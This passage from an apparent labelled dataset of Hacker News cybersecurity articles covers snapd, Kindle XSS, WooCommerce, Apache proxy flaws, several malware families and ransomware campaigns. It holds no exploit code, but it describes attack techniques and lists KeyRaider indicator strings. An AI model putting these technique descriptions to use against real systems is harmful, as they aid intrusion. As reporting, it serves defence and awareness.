Dubbed ""Dirty_Sock"" and identified as CVE-2019-7304, the vulnerability was discovered by security researcher Chris Moberly, who privately disclosed it to Canonical, the maker of Ubuntu, late last month.

The vulnerability resides in the REST API for snapd service, a universal Linux packaging system that makes an application compatible for various Linux distributions without requiring any modification.

Built by Canonical, snapd comes by default installed on all versions of Ubuntu and also used by other Linux distributions, including Debian, OpenSUSE, Arch Linux, Solus, and Fedora.

Snap packages are basically applications compressed together with their dependencies that also includes instructions on how to run and interact with other software on various Linux systems for desktop, cloud, and Internet of Things.

Snap locally host a web server (UNIX_AF socket) to offer a list of RESTful APIs that help the service perform various actions on the operating system. These REST APIs come with access control to define user-level permission for specific tasks. Some powerful APIs are only available to root users while others can be accessed by low-privileged users.

According to Moberly, a flaw in the way the access control mechanism checks the UID associated with any request made to a server allows attackers to overwrite the UID variable and access any API function, including those that are restricted for the root user.

""Snapd versions 2.28 through 2.37 incorrectly validated and parsed the remote socket address when performing access controls on its UNIX socket,"" Ubuntu explains in its advisory. ""A local attacker could use this to access privileged socket APIs and obtain administrator privileges.""

However, it should be noted that since the Dirty Sock exploit leverages local privilege escalation flaw, it does not allow hackers to compromise a vulnerable Linux system remotely.

Moberly has also released two proofs-of-concept (PoC) exploits on GitHub today, one of which requires an SSH connection while the other is able to sideload a malicious snap by abusing this API.

Canonical has released snapd version Snapd 2.37.1 this week to address the vulnerability, and Ubuntu and other major Linux distributions have already rolled out a fixed version of their packages.

Linux users are highly recommended to upgrade their vulnerable installations as soon as possible.
",Vulnerability
"Malware Variants: More Sophisticated, Prevalent and Evolving in 2021",https://thehackernews.com/2021/04/malware-variants-more-sophisticated.html,"A malicious program intended to cause havoc with IT systems—malware—is becoming more and more sophisticated every year. The year 2021 is no exception, as recent trends indicate that several new variants of malware are making their way into the world of cybersecurity.
While smarter security solutions are popping up, modern malware still eludes and challenges cybersecurity experts.
The evolution of malware has infected everything from personal computers to industrial units since the 70s. Cybersecurity firm FireEye's network was attacked in 2020 by hackers with the most sophisticated form of hacking i.e., supply chain.
This hacking team demonstrated world-class capabilities to disregard security tools and forensic examination, proving that anybody can be hacked. Also, the year 2021 is already witnessing a bump in COVID-19 vaccine-related phishing attacks.
Let's take a look at the trends that forecast an increase in malware attacks:
COVID-19 and Work-from-Home (WFH)
In the wake of the COVID-19 pandemic last year, many companies offered remote access to their workforce. Poor remote infrastructure made their networks considerably less open and exposed. Recent research by Deloitte indicates that cybercriminals are exploiting the COVID-19 environment to attack companies, as approximately 24% of employees reported an increase in spam, fraudulent e-mails, and phishing attacks.
As many as 26% of employees keep copies of their company's important data in case of technical difficulty when working remotely. This also poses serious data theft security concerns. This puts remote-working organizations at risk to hackers who use modern malware to target them.
Evolution of Malware Variants in Q1 2021
This year has already seen several new malware variants appear. As of February 2021, some of the most dangerous malware reported can be seen as follows –
Fake updates through e-mail —This method involves hackers sending a phony e-mail to users telling them that there is an important update to install. The update is ransomware that encrypts users' documents. By blackmailing the user with severe consequences, including data theft, then asks for a ransom.
News updates — Cybercriminals send electronic news updates to users in this kind of attack. If the users unknowingly click one of these links, they provide the hackers with free access to their devices.
AI and IoT attacks — The new trend in cybercrime is that criminals create some of the most deadly viruses using Artificial Intelligence to get inside any network. Moreover, they can penetrate IoT devices to gain access to confidential information like passwords.
Cryptojacking — A hacker installs Crypto Jacking malware on mobile phones or computers and mines cryptocurrencies.
Clop — Runs on Windows by blocking its different processes, Clop Ransomware that encrypts user files undetected.
RaaS — Also known as Ransomware as a Service, has been hailed as one of the most widespread malware distribution methods this year. The term refers to cybercrime as a service provided by a network of hackers for someone else.
Route to Adequate Malware Protection
In today's environment of increasing complexity and advances in malware threats, it is imperative to safeguard against malware.
Learning and Adapting
Cybercriminals now use a variety of malicious software to compromise a computer system at every stage. For example, hackers can use phishing techniques to gain access to a network then use Emotet to spread across the system by exploiting network loopholes. After that, the attackers use malware such as Trickbot to collect valuable information such as financial details, customer details, credit card details, etc. In the final stage, malware like Conti would encrypt the files and ask for ransom.
Security teams can stay updated with the best information on the latest variants, capabilities, and potential impact if they know how the malware operates at various stages in a system. Knowing this information will allow them to devise protective measures against the network's resources.
Reducing remote work-related security vulnerabilities
With the outbreak of the Coronavirus in early 2020, the work environment changed dramatically. It has been almost a year since the virus made employees stay indoors. With the proliferation and thinning of network perimeters, WFH has exposed its infrastructure to malware threats. Because of this, organizations must take into consideration the WFH's cybersecurity arrangements. Furthermore, they must use robust security software on employee systems and use VPN for all work-related activities on the internet.
Employee awareness
Employees play a vital role in ensuring their company's cybersecurity bubble remains intact. Many malware campaigns begin by sending an e-mail communication to employees. To learn basic cybersecurity hygiene, employees must become familiar with password management, identify and report security threats, and recognize suspicious behavior. Regular content and training will assist employees in countering any malware threats they encounter.
Adopt a Culture of Comprehensive Security
Given the ongoing evolution of malware attacks and their capability to surpass what they were capable of, organizations should prioritize a strong malware protection strategy. Consultation with experienced cybersecurity experts like Indusface can help them create a solution that meets their needs.

",Malware
Watch Out — Microsoft Warns Android Users About A New Ransomware,https://thehackernews.com/2020/10/android-ransomware-lock.html,"Microsoft has warned about a new strain of mobile ransomware that takes advantage of incoming call notifications and Android's Home button to lock the device behind a ransom note.
The findings concern a variant of a known Android ransomware family dubbed ""MalLocker.B"" which has now resurfaced with new techniques, including a novel means to deliver the ransom demand on infected devices as well as an obfuscation mechanism to evade security solutions.
The development comes amid a huge surge in ransomware attacks against critical infrastructure across sectors, with a 50% increase in the daily average of ransomware attacks in the last three months compared to the first half of the year, and cybercriminals increasingly incorporating double extortion in their playbook.
MalLocker has been known for being hosted on malicious websites and circulated on online forums using various social engineering lures by masquerading as popular apps, cracked games, or video players.
Previous instances of Android ransomware have exploited Android accessibility features or permission called ""SYSTEM_ALERT_WINDOW"" to display a persistent window atop all other screens to display the ransom note, which typically masquerade as fake police notices or alerts about purportedly finding explicit images on the device.
But just as anti-malware software began detecting this behavior, the new Android ransomware variant has evolved its strategy to overcome this barrier. What's changed with MalLocker.B is the method by which it achieves the same goal via an entirely new tactic.
To do so, it leverages the ""call"" notification that's used to alert the user about incoming calls in order to display a window that covers the entire area of the screen, and subsequently combines it with a Home or Recents keypress to trigger the ransom note to the foreground and prevent the victim from switching to any other screen.
""This creates a chain of events that triggers the automatic pop-up of the ransomware screen without doing infinite redraw or posing as a system window,"" Microsoft said.
Aside from incrementally building on an array of aforementioned techniques to show the ransomware screen, the company also noted the presence of a yet-to-be-integrated machine learning model that could be used to fit the ransom note image within the screen without distortion, hinting at the next stage evolution of the malware.
Furthermore, in an attempt to mask its true purpose, the ransomware code is heavily obfuscated and made unreadable through name mangling and deliberate use of meaningless variable names and junk code to thwart analysis, the company said.
""This new mobile ransomware variant is an important discovery because the malware exhibits behaviors that have not been seen before and could open doors for other malware to follow,"" Microsoft 365 Defender Research Team said.
""It reinforces the need for comprehensive defense powered by broad visibility into attack surfaces as well as domain experts who track the threat landscape and uncover notable threats that might be hiding amidst massive threat data and signals.""

",Malware
Malicious Kindle Ebook Let Hackers Take Over Your Amazon Account,https://thehackernews.com/2014/09/malicious-kindle-ebook-lets-hackers.html,"If you came across a Kindle e-book download link from any suspicious sources or somewhere other than Amazon itself, check twice before you proceed download. As downloading an eBook could put your personal information at risk.

A security researcher has uncovered a security hole in Amazon's Kindle Library that could lead to cross-site scripting (XSS) attacks and account compromises when you upload a malicious ebook.

AMAZON CREDENTIALS – BOON FOR HACKERS
The flaw affects the ""Manage Your Content and Devices"" and ""Manage your Kindle"" services in Amazon's web-based Kindle Library, which could allow a hacker to inject and hide malicious lines of code into into e-book metadata, such as the title text of an eBook, in order to compromise the security of your Amazon account.

Gaining access to your Amazon account credentials is one of the biggest boons for hackers, as they can set-up new credit cards in your account or max out the current ones on file with some big Amazon purchases. Additionally, they could compromise your other online accounts with the help of those credentials and personal information contained in your Amazon account.

FLAW WAS FIXED AND RE-INTRODUCED AGAIN
The vulnerability, which could be exploited when a user downloads a malicious e-book, was originally discovered by German security researcher Benjamin Daniel Mussler in October last year and was subsequently fixed by the retail giant in December.

However, the flaw was re-introduced after an update to the Manage Your Kindle page, and has been active since at least July this year, despite being reported by Mr Mussler to Amazon's security team. After hearing no reply from the company for several months, he decided to go public with the flaw. And at the time of writing, Amazon's Kindle Library is vulnerable to Cross-Site Scripting (XSS) attacks, according to Mr Mussler.

Amazon's ""Send to Kindle"" plugin for Windows and Mac helps users to send their personal documents to their Kindle devices, including ebook files obtained from other sources as well. You can archive these documents in your Kindle Library on the cloud to easily zap them to all your Kindles at any time.

ATTACK SCENARIO
Mr Mussler continued that once a hacker manages to load your Kindle Library with a corrupted e-book, (typically with a title like ), the account cookies can be accessed by and transferred to the attacker. As a result, your Amazon account can be compromised, which could potentially expose users' personal addresses, payment details and order history as well.
""Malicious code can be injected via ebook metadata; for example, an ebook's title,"" wrote Mr Mussler on his personal blog, adding that ""the code will be executed as soon as the victim opens the Kindle Library web page. As a result, Amazon account cookies can be accessed by and transferred to the attacker and the victim's Amazon account can be compromised.""
PROOF OF CONCEPT ATTACK CODE
According to Mr Mussler, Amazon used his proof of concept attack code during its testing of the Manage your Kindle page and was surprised that an oversight suggests that the exploit is active. But, users who stick to e-books sold and delivered by Amazon are safe.

Thankfully, the exploit only affects users who download pirated eBooks from dubious sources, so don't worry about adding an eBook to your Amazon shopping cart any time soon.

",Vulnerability
Google Nexus phone vulnerable to SMS-based DOS attack,https://thehackernews.com/2013/11/Flash-sms-dos-attack-Google-Nexus.html,"Google's Nexus Smartphones are vulnerable to SMS-based DOS attack, where an attacker can force it to restart, freeze, or lose network connection by sending a large number of special SMS messages to them.

The vulnerability, discovered by Bogdan Alecu, a system administrator at Dutch IT services company Levi9, and affects all Android 4.x firmware versions on Google Galaxy Nexus, Nexus 4 and Nexus 5.
The problem is with how the phones handle a special type of text message, known as a flash SMS. By sending around 30 Flash SMS (Flash SMS is a type of message that normally is not stored by the system and does not trigger any audio alerts) messages to Nexus phone an attacker can cause the phone to malfunction.

He presented the vulnerability on Friday at the DefCamp security conference in Bucharest, Romania. In an email exchange with me, he said 'I was testing different message types and for the class 0 messages I noticed that the popup being displayed also adds an extra layer which makes the background darker.""

""Then my first thought was: what happens if I send more such messages? Will it make the entire background go black? If so, wouldn't this cause a memory leak? The answer is ""Yes"" for both of the questions. So, basically, by sending around 30 Class 0 messages, it will make the Google device behave strangely'.""
According to the researcher, several possible outcomes can result from the overloading:
It will either say that the Messaging application has stopped
Cause a reboot - this is what happens in most of the cases
Make only the Radio (mobile network communication) app restart, but then the device will no longer be able to use mobile data (it can not connect to the APN)
Android devices, by default, offer no easy way for users to send Flash messages, though there are several apps available to do so.
Alecu says that he discovered the issue more than a year ago and he contacted Google and was told back in July that the issue would be addressed in Android 4.3, though that proved not to be the case.

But now Google is aware of the situation, and says that it's investigating things. Until the fix from Google lands, users can use the free Class0Firewall app to prevent such situations.

",Vulnerability
"How to Remove KeyRaider Malware that Hacked Over 225,000 iOS Devices",https://thehackernews.com/2015/09/how-to-remove-ios-malware.html,"Jailbreaking your device may have got you the best of apps but after reading this you will know what a high price you could have to pay for the jailbreak.

Read on…

A malware named 'KeyRaider' has supposedly stolen user credentials of approximately 225K iPhone users. It has been given this name as it raids victims' username and passwords, private keys and certificates.

Figures say that KeyRaider malware has affected a large number of users in China and worldwide 17 more countries. Also, the origin of malware is suspected to be in China, as said in investigations conducted by Palo Alto Networks for reporting any suspicious tweaks on iPhones.

Users falling prey to KeyRaider may be the victims of:
Ransomware
Data Theft
DDoS Attacks

Malware is targeting jailbroken phones and when in action, it captures Apple ID of the users and make transactions using it.

The researchers say that it is spreading with the help of Cydia app repositories that are popular among the jailbreakers for eliminating the security of the device and installing third party apps.

Palo Alto says:
""The malware hooks system processes through MobileSubstrate, and steals Apple account usernames, passwords, and device GUID by intercepting iTunes traffic on the device.""
""KeyRaider steals Apple push notification service certificates and private keys, steals and shares App Store purchasing information, and disables local and remote unlocking functionalities on iPhones and iPads""
Also, the Palo Alto Networks team has said that this is the biggest ever breach that has happened involving Apple accounts.

Although lot of protection is no more present on jailbroken devices, following measures can be implemented to mitigate the risk as well:

Steps to Remove KeyRaider Malware

Apple device users can use the following method to determine by themselves whether their iOS devices was infected:
Install OpenSSH server app via Cydia
Connect to your device through SSH protocol
Go to /Library/MobileSubstrate/DynamicLibraries/ location on your device, and grep for these strings to all files in the same directory:
wushidou
gotoip4
bamu
getHanzi
If any dylib file contains any one of these strings, delete it and remove the plist file with the same filename, and then reboot your iOS device.
The solution is produced by WeipTech, a Weiphone Tech Team; a technical group startup consisting of users from Weiphone, which is one of the largest Apple fans websites in China.

You can follow the research guide prepared by Palo Alto Networks stating the rogue malware's capabilities and its mitigation.

",Malware
Hackers Are Using Android Malware To Spy On Israeli Military Personnel,https://thehackernews.com/2017/02/android-malware-israeli-military.html,"A group of highly sophisticated state-sponsored hackers is spying on the Israeli military by hacking into the personal Android phones of individual soldiers to monitor their activities and steal data.

A newly released research by Lookout and Kaspersky suggests that more than 100 Israeli servicemen from the Israeli Defense Force (IDF) are believed to have been targeted with spyware.

Dubbed ViperRAT, the malware has specifically been designed to hijack Israeli soldiers' Android-based smartphones and remotely exfiltrate data of high value, including photos and audio recordings, directly from the compromised devices.

Modus Operandi Identified

According to the security firms, IDF personnel had been compromised by social engineering techniques — where the soldiers were lured via Facebook Messenger and other social networks into entering communications with hackers who posed as attractive women from various countries like Canada, Germany, and Switzerland.

The soldiers were then tricked into installing a trojanized version of two different, typically legitimate Android chat apps, SR Chat and YeeCall Pro, for easier communication.

The malware has also been distributed using a dropper hidden in other Android smartphone applications including a billiards game, an Israeli Love Songs player, and a Move To iOS app, which are common to Israeli citizens and available in the Google Play store.
The app then scanned soldiers' smartphones and downloaded another malicious application that masqueraded as an update for one of the already installed apps, such as WhatsApp, and tricked victims to allow various permissions in order to carry out surveillance.

This, in turn, allowed the attackers to execute on demand commands, enabling them to control phone's microphone and camera, eavesdrop on soldiers' conversations, and peer into live camera footage.

Besides this, the ViperRAT malware gathers a broad range of data from compromised devices including geolocation, call log, personal photos, SMS messages, cell phone tower information, network and device metadata, internet browsing, and app download history.

According to researchers, the hackers were able to successfully establish a widespread cyber espionage campaign by compromising dozens of mobile devices from Samsung, HTC, LG and Huawei belonging to over 100 Israeli soldiers.

Besides, almost 9,000 files stolen from compromised devices (roughly 97 percent) that were exfiltrated from compromised devices were identified by Lookout researchers as being highly encrypted images, which were taken using the device camera.

However, it's likely the IDF is not the only target.

The ViperRAT attack campaign started in July and continued to date, according to Kaspersky researchers.

Is Hamas Behind the Cyber-Spying Operation?

The IDF closely worked with Kaspersky Labs and Lookout to investigate this incident and theorized that Hamas was behind these attacks. However, Lookout researchers have come to doubt that theory.

According to Lookout researchers, ""Based on tradecraft, the modular structure of code and use of cryptographic protocols [AES and RSA encryption] the actor appears to be quite sophisticated.""

Researchers say Hamas is not known for sophisticated mobile capabilities, which makes it unlikely they are directly responsible for ViperRAT.

The IDF is currently working together with both Lookout and Kaspersky to identify infected targets and protect against further attacks, but there is one simple way to protect against ViperRAT: don't download apps from untrusted third-party sources.

",Cyber_Attack
Popular WooCommerce WordPress Plugin Patches Critical Vulnerability,https://thehackernews.com/2018/11/woocommerce-wordpress-hacking.html,"If you own an eCommerce website built on WordPress and powered by WooCommerce plugin, then beware of a new vulnerability that could compromise your online store.

Simon Scannell, a researcher at RIPS Technologies GmbH, discovered an arbitrary file deletion vulnerability in the popular WooCommerce plugin that could allow a malicious or compromised privileged user to gain full control over the unpatched websites.

WooCommerce is one the most popular eCommerce plugins for WordPress that helps websites to upgrade their standard blog to a powerful online store. WooCommerce powers nearly 35% of e-stores on the internet, with more than 4 million installations.

Exploiting WooCommerce File-Deletion and WordPress Design Flaws

The attack demonstrated in the following video takes advantage of the way WordPress handles user privileges and WooCommerce file deletion vulnerability, allowing an account with ""Shop Manager"" role to eventually reset administrator accounts' password and take complete control over the website.

When installed, WooCommerce extension creates ""Shop Managers"" accounts with ""edit_users"" capability, allowing them to edit customer accounts of the store in order to manage their orders, profiles, and products.

In WordPress, an account with ""edit_users"" capability by default allowed to even edit an administrator account and reset its password. But to draw a permission-based line between an administrator and a shop manager account, the WooCommerce plugin adds some extra limitations on the shop managers.
However, the researcher discovered that if WordPress admin, for some reason, disables the WooCommerce plugin, its configuration that mandated the limitation goes away, allowing Shop Manager accounts to edit and reset the password for administrator accounts.

Now, according to Simon, a malicious Shop Manager can forcefully disable the WooCommerce plugin by exploiting a file deletion vulnerability that resides in the logging feature of WooCommerce.

""This vulnerability allows shop managers to delete any file on the server that is writable. By deleting the main file of WooCommerce, woocommerce.php, WordPress will be unable to load the plugin and then disables it,"" Simon explains in a blog post.

Once the file is deleted, the WooCommerce plugin gets disabled, allowing shop managers to update the password for the administrator account and then take over the complete website.

Install WooCommerce and WordPress Patch Updates

The researcher responsibly reported the security issues to the Automattic security team, who manages the WooCommerce plugin, via Hackerone on 30, August 2018. The team acknowledged the flaws and fixed them in Woocommerce version 3.4.6 last month.

If you haven,t yet updated your WordPress and Woocommerce, you are highly recommended to install the latest available security updates as soon as possible.

",Vulnerability
Researchers Uncover Iranian State-Sponsored Ransomware Operation,https://thehackernews.com/2021/05/researchers-uncover-iranian-state.html,"Iran has been linked to yet another state-sponsored ransomware operation through a contracting company based in the country, according to new analysis.
""Iran's Islamic Revolutionary Guard Corps (IRGC) was operating a state-sponsored ransomware campaign through an Iranian contracting company called 'Emen Net Pasargard' (ENP),"" cybersecurity firm Flashpoint said in its findings summarizing three documents leaked by an anonymous entity named Read My Lips or Lab Dookhtegan between March 19 and April 1 via its Telegram channel.
Dubbed ""Project Signal,"" the initiative is said to have kickstarted sometime between late July 2020 and early September 2020, with ENP's internal research organization, named the ""Studies Center,"" putting together a list of unspecified target websites.
A second spreadsheet validated by Flashpoint explicitly spelled out the project's financial motivations, with plans to launch the ransomware operations in late 2020 for a period of four days between Oct. 18 and 21. Another document outlined the workflows, including steps for receiving Bitcoin payments from ransomware victims and decrypting the locked data.
It's not immediately clear if these attacks went ahead as planned and whom they targeted.
""ENP operates on behalf of Iran's intelligence services providing cyber capabilities and support to Iran's Islamic Revolutionary Guard Corps (IRGC), the IRGC Quds Force (IRGC-QF), and Iran's Ministry of Intelligence and Security (MOIS),"" the researchers said.
Despite the project's ransomware themes, the researchers suspect the move could likely be a ""subterfuge technique"" to mimic the tactics, techniques, and procedures (TTPs) of other financially motivated cybercriminal ransomware groups so as to make attribution harder and better blend in with the threat landscape.
Interestingly, the rollout of Project Signal also dovetailed with another Iranian ransomware campaign called ""Pay2Key,"" which ensnared dozens of Israeli companies in November and December 2020. Tel Aviv-based cybersecurity firm ClearSky attributed the wave of attacks to a group called Fox Kitten. Given the lack of evidence, it's unknown what connection, if any, the two campaigns may have with each other.
This is not the first time Lab Dookhtegan has dumped crucial information pertaining to Iran's malicious cyber activities. In a style echoing the Shadow Brokers, the mysterious person or group previously spilled the secrets of an Iranian hacker group known as APT34 or OilRig, including publishing the adversary's arsenal of hacking tools, along with information on 66 victim organizations and doxxing the real-world identities of Iranian government intelligence agents.
News of Iran's second ransomware operation also comes as a coalition of government and tech firms in the private sector, called the Ransomware Task Force, shared a 81-page report comprising a list of 48 recommendations to detect and disrupt ransomware attacks, in addition to helping organizations prepare and respond to such intrusions more effectively.

",Malware
[Webinar] How Cyber Attack Groups Are Spinning a Larger Ransomware Web,https://thehackernews.com/2021/06/webinar-how-cyber-attack-groups-are.html,"Organizations today already have an overwhelming number of dangers and threats to look out for, from spam to phishing attempts to new infiltration and ransomware tactics. There is no chance to rest, since attack groups are constantly looking for more effective means of infiltrating and infecting systems.
Today, there are hundreds of groups devoted to infiltrating almost every industry, constantly devising more sophisticated methods to attack organizations.
It's even more troubling to note that some groups have started to collaborate, creating complex and stealthy tactics that leave even the best security teams scrambling to respond. Such is the case noted by XDR Provider Cynet, as the company observes in its newest Research Webinar (register here).
Cynet's research team noted that two of the most infamous attack groups – Lunar Spider and Wizard Spider – have started working together to infect organizations with ransomware.
The development is certainly troubling, and the report shows why security teams and professionals must constantly be looking at the whole picture, not just the result of an attack.
Combining attacks for greater impact
Cynet's researchers first noticed something was amiss as they were studying IcedID malware, developed by Lunar Spider. Originally observed in the wild in 2017, IcedID is a banking Trojan that has targeted the financial sectors in both the US and Europe. After it was initially revealed, Lunar Spider shifted IcedID's modus operandi to enable it to deploy additional payloads, such as Cobalt Strike.
The researchers also studied the CONTI ransomware, a relatively new attack approach developed by Wizard Spider that's already in the FBI's crosshairs. This ""ransomware-as-a-service"" (RaaS) has been spotted in the US and Europe and has already wreaked havoc on many organizations and networks.
Cynet first suspected the connection between the two organizations as it was exploring a case of CONTI ransomware that used many familiar tactics, though not ones traditionally deployed by the Wizard Spider group.
During the investigation, the team discovered that CONTI was being deployed through malware campaigns that used IcedID as an initial point of attack. After establishing persistence on targets' devices, IcedID deployed a CONTI ransomware variant to lock the network.
Understanding the risks
The new Cynet Research Webinar will dive deeper into the anatomy of this collaboration to explain why it's so troubling, but also how it can be detected and combatted. The webinar will discuss:
The background of the attack groups. Both Lunar Spider and Wizard Spider are well known and highly dangerous. Their existing malware and other tools are widely popular and present in many notable breaches and attacks. Before exploring their tools, the webinar will break down each group.
The increasing popularity of ransomware attacks. These tactics have become widespread and are expected to cost organizations hundreds of billions of dollars in the next decade. To truly comprehend how to combat this new attack tactic, it's worth establishing how ransomware works, and some common tactics.
The anatomy of a combined IcedID and CONTI attack. The webinar will break down a case study of this new attack tactic. Unlike some other ransomware attacks, this new method uses techniques from both to create persistence, avoid detection, and lock systems before organizations can react. Moreover, they're increasingly using ""double extortion"" methods, which both lock data and threaten leaks if payment isn't received.
You can register to the webinar here.

",Cyber_Attack
"Stuxnet's Son ""Duqu"" Removal Tool released by Bitdefender",https://thehackernews.com/2011/10/stuxnets-son-duqu-removal-tool-released.html,"Stuxnet's Son ""Duqu"" Removal Tool released by Bitdefender
Rootkit.Duqu is a new e-threat that combines the technology of the military-grade Stuxnet with an advanced keylogger and backdoor application. Due to its rootkit technology, the piece of malware can stay hidden from the user, the operating system's defense mechanism and even from regular antivirus utilities.Just like its predecessor – the Stuxnet rootkit - Rootkit.Duqu.A is digitally signed with a stolen digital certificate that has been revoked in the meantime. This allows it to install itself on both 32- and 64-bit operating systems on Windows platforms ranging from Windows XP to Windows 7. The Duqu rootkit runs on the computer for 36 days and collects any kind of information entered via the keyboard, including passwords, e-mail or IM conversations. After the ""surveillance"" period ends, the rootkit gracefully removes itself from the system, along with the keylogger component.

Rootkit malware is extremely difficult to detect, as it manages to subvert the operating system before it is fully loaded. Rootkit removal can be challenging even for some antivirus solutions, so manual removal is not recommended. We offer a free and fully automated removal tool that takes care of everything for you.

You only have to download and run it on the system, then reboot the PC if infection is found. Here is a complete rundown of the steps you need to take:
1. Download the Duqu_Removal_Tool.zip (.zip file), then double-click on it chose ""Extract all files..."" from the File menu, and follow the wizard's instructions. You can use any other decompression utility, like WinZip.
2. Navigate to the folder you have extracted the tool in, find the file called Duqu_Removal_tool.exe and double-click on it. Press the Scan button and let the removal tool scan your PC.
3. If you have Windows Vista with User Access Control enabled, or if you are running as a restricted user in Windows XP, right click the Duqu_Removal_tool.exe program and choose ""Run as Administrator"". You will be prompted to enter credentials for an admin account.
4. Press the OK button when the removal tool asks for a reboot.
5. If you don't already have permanent antivirus protection or if your current antivirus has failed you, consider using the advanced protection tool provided by BitDefender.
Download Rootkit.Duqu.A Removal Tool

",Malware
New Apache Reverse Proxy Flaw Allows Access to Internal Network,https://thehackernews.com/2011/11/new-apache-reverse-proxy-flaw-allows.html,"New Apache Reverse Proxy Flaw Allows Access to Internal Network

Apache acknowledged another reverse proxy issue (CVE-2011-4317) which was discovered by Apache developer from Red Hat while creating a QualysGuard vulnerability signature for an older problem CVE-2011-3368. Depending on the reverse proxy configuration, the vulnerability could allow access to internal systems from the Internet.

In order to set up Apache HTTPD to run as a reverse proxy, server administrators use specialized modules like mod_proxy and mod_rewrite. Apache developers are working on a fix of a flaw in its web server software that creates a possible mechanism to access internal systems.The zero-day vulnerability only rears its ugly head if reverse proxy rules are configured incorrectly and is far from easy to exploit, but it is nonetheless nasty.

The problem isn't new and a vulnerability that allowed similar attacks was addressed back in October. However, while reviewing the patch for it, Qualys researcher Prutha Parikh realized that it can be bypassed due to a bug in the procedure for URI (Uniform Resource Identifier) scheme stripping. The scheme is the URI part that comes before the colon "":"" character, such as http, ftp or file.One relatively common rewrite and proxying rule is ""^(.*) https://internal_host$1"", which redirects the request to the machine internal_host. However, if this is used and the server receives, for example, a request for ""host::port"" (with two colons), the ""host:"" part is stripped and the rest is appended to https://internal_host in order to forward it internally.The problem is that in this case, the remaining part is "":port"", therefore transforming the forwarded request into https://internal_host:port, an unintended behavior that can result in the exposure of a protected resource.In order to mitigate the problem server administrators should add a forward slash before $1 in the rewrite rule, the correct form being ""^(.*) https://internal_host/$1"", Parikh said.

Parikh has published a detailed explanation of the flaw alongside proof of concept code in a post on the Qualys blog here. A possible patch for the vulnerability was suggested by an Apache developer from Red Hat on Wednesday but has yet to be fully tested.

",Vulnerability
New Pingback Malware Using ICMP Tunneling to Evade C&C Detection,https://thehackernews.com/2021/05/new-pingback-malware-using-icmp.html,"Researchers on Tuesday disclosed a novel malware that uses a variety of tricks to stay under the radar and evade detection, while stealthily capable of executing arbitrary commands on infected systems.
Called 'Pingback,' the Windows malware leverages Internet Control Message Protocol (ICMP) tunneling for covert bot communications, allowing the adversary to utilize ICMP packets to piggyback attack code, according to an analysis published today by Trustwave.
Pingback (""oci.dll"") achieves this by getting loaded through a legitimate service called MSDTC (Microsoft Distributed Transaction Coordinator) — a component responsible for handling database operations that are distributed over multiple machines — by taking advantage of a method called DLL search order hijacking, which involves using a genuine application to preload a malicious DLL file.
Naming the malware as one of the plugins required for supporting Oracle ODBC interface in MSDTC is key to the attack, the researchers noted. While MSDTC isn't configured to run automatically on startup, a VirusTotal sample submitted in July 2020 was found to install the DLL file into the Windows System directory and start the MSDTC service to achieve persistence, raising the possibility that a separate executable is crucial to installing the malware.
Upon successful execution, Pingback resorts to using the ICMP protocol for its main communication. ICMP is a network layer protocol mainly used for sending error messages and operational information, say, a failure alert when another host becomes unreachable.
Specifically, Pingback takes advantage of an Echo request (ICMP message type 8), with the message sequence numbers 1234, 1235, and 1236 denoting the type of information contained in the packet — 1234 being a command or data, and 1235 and 1236 being the acknowledgment for receipt of data on the other end. Some of the commands supported by the malware include the capability to run arbitrary shell commands, download and upload files from and to the attacker's host, and execute malicious payloads on the infected machine.
An investigation into the malware's initial intrusion route is ongoing.
""ICMP tunneling is not new, but this particular sample piqued our interest as a real-world example of malware using this technique to evade detection,"" the researchers said. ""ICMP is useful for diagnostics and performance of IP connections, [but] it can also be misused by malicious actors to scan and map a target's network environment. While we are not suggesting that ICMP should be disabled, we do suggest putting in place monitoring to help detect such covert communications over ICMP.""

",Cyber_Attack
Private Decryption Key For Original Petya Ransomware Released,https://thehackernews.com/2017/07/petya-ransomware-decryption-key.html,"Rejoice Petya-infected victims!

The master key for the original version of the Petya ransomware has been released by its creator, allowing Petya-infected victims to recover their encrypted files without paying any ransom money.

But wait, Petya is not NotPetya.

Do not confuse Petya ransomware with the latest destructive NotPetya ransomware (also known as ExPetr and Eternal Petya) attacks that wreaked havoc across the world last month, massively targeting multiple entities in Ukraine and parts of Europe.

The Petya ransomware has three variants that have infected many systems around the world, but now the author of the original malware, goes by the pseudonym Janus, made the master key available on Wednesday.

According to the security researchers, victims infected with previous variants of Petya ransomware, including Red Petya (first version) and Green Petya (second version) and early versions the GoldenEye ransomware can get their encrypted files back using the master key.

The authenticity of the master key has been verified by an independent Polish information security researcher known as Hasherezade.
""Similarly to the authors of TeslaCrypt, he released his private key, allowing all the victims of the previous Petya attacks, to get their files back,"" Hasherezade posted her finding on MalwareBytes on Thursday.
""Thanks to the currently published master key, all the people who have preserved the images of the disks encrypted by the relevant versions of Petya, may get a chance of getting their data back.""
Although the first and second version of Petya was cracked last year, the private key released by Janus offers the fastest and most reliable way yet for Petya-infected victims to decrypt their files, especially locked with the uncrackable third version.

Meanwhile, Kaspersky Lab research analyst Anton Ivanov also analyzed the Janus' master key and confirmed that the key unlocks all versions of Petya ransomware, including GoldenEye.

Janus created the GoldenEye ransomware in 2016 and sold the variants as a Ransomware-as-a-Service (RaaS) to other hackers, allowing anyone to launch ransomware attacks with just one click and encrypt systems and demand a ransom to unlock it.

If the victim pays, Janus gets a cut of the payment. But in December, he went silent.

However, according to the Petya author, his malware has been modified by another threat actor to create NotPetya that targeted computers of critical infrastructure and corporations in Ukraine as well as 64 other countries.

The NotPetya ransomware also makes use of the NSA's leaked Windows hacking exploit EternalBlue and EternalRomance to rapidly spread within a network, and WMIC and PSEXEC tools to remotely execute malware on the machines.

Security experts even believe the real intention behind the recent ransomware outcry, which was believed to be bigger than the WannaCry ransomware, was to cause disruption, rather than just another ransomware attack.

According to researchers, NotPetya is in reality wiper malware that wipes systems outright, destroying all records from the targeted systems, and asking for ransom was just to divert world's attention from a state-sponsored attack to a malware outbreak.

Lucky are not those infected with NotPetya, but the master key can help people who were attacked by previous variants of Petya and Goldeneye ransomware in the past.

Security researchers are using the key to build free decryptors for victims who still have crypto-locked hard drives.

",Cyber_Attack
Russian Arrested After Offering $1 Million to U.S. Company Employee for Planting Malware,https://thehackernews.com/2020/08/russian-extortion-malware.html,"Hackers always find a way in, even if there's no software vulnerability to exploit.

The FBI has arrested a Russian national who recently traveled to the United States and offered $1 million in bribe to an employee of a targeted company for his help in installing malware into the company's computer network manually.

